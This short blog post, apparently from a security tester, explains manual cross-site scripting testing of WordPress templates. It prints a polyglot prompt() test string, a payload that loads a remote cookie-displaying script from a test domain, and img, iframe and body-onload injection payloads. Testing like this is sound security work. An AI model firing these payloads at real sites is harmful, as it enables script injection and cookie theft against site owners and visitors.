Yesterday evening I tested six premium WordPress templates. In about 10 minutes I found three templates that are vulnerable to Cross-site Scripting. This is quite typical: when searching for vulnerable sites, I usually find at least one under 30 minutes. Does it mean I’m good at hunting XSS bugs? Answer is no: it means there are lots of vulnerable sites out there.

My testing methods and tools are simple. I do all testing manually using the Firefox browser. Chrome, Safari and IE have “anti-XSS” features or auditors, which may actually hide some vulnerabilities.

First test target is the search function of the web site. Any input field will do, but lets assume our demo site has a search function.

Test case #1, which catches over 90% of all XSS vulnerabilities (at last for me):

;prompt(1)//”;prompt(2)//”;prompt(3)//–></SCRIPT>”>’>prompt(4)

Just copy-paste the string to the search field and see what happens. I have not invented this test case. You can find various versions of it from multiple XSS Cheat Sheets. In case of a vulnerable site, the prompted number tells approximately what kind of payload is executed. Quite often it is the last prompt using format: “>prompt(4)

Going cross-site

Next I want to test if it is possible to execute arbitrary code from a remote server. In this example case the payload prefix is “> so the first Cross-site test would be: “>http://idash.net/xs.js

idash.net is my test domain and xs.js is a short JavaScript that displays the browser cookie. If the script is executed in the browser, the vulnerability is confirmed and can be reported.

Other tags

<script> tag can be stripped away or ignored. There are plenty of other tags and events to be tested. Three common ones:

  • “><img src= onerror=alert(1)>
  •  “><iframe src=http://mytestserver/malicious.html <
  • “><body onload=alert(3)>

Some useful resources for more complex XSS testing:

I hope this short article helps in finding the most common XSS problems. Basic testing is easy and there are plenty of good test cases available.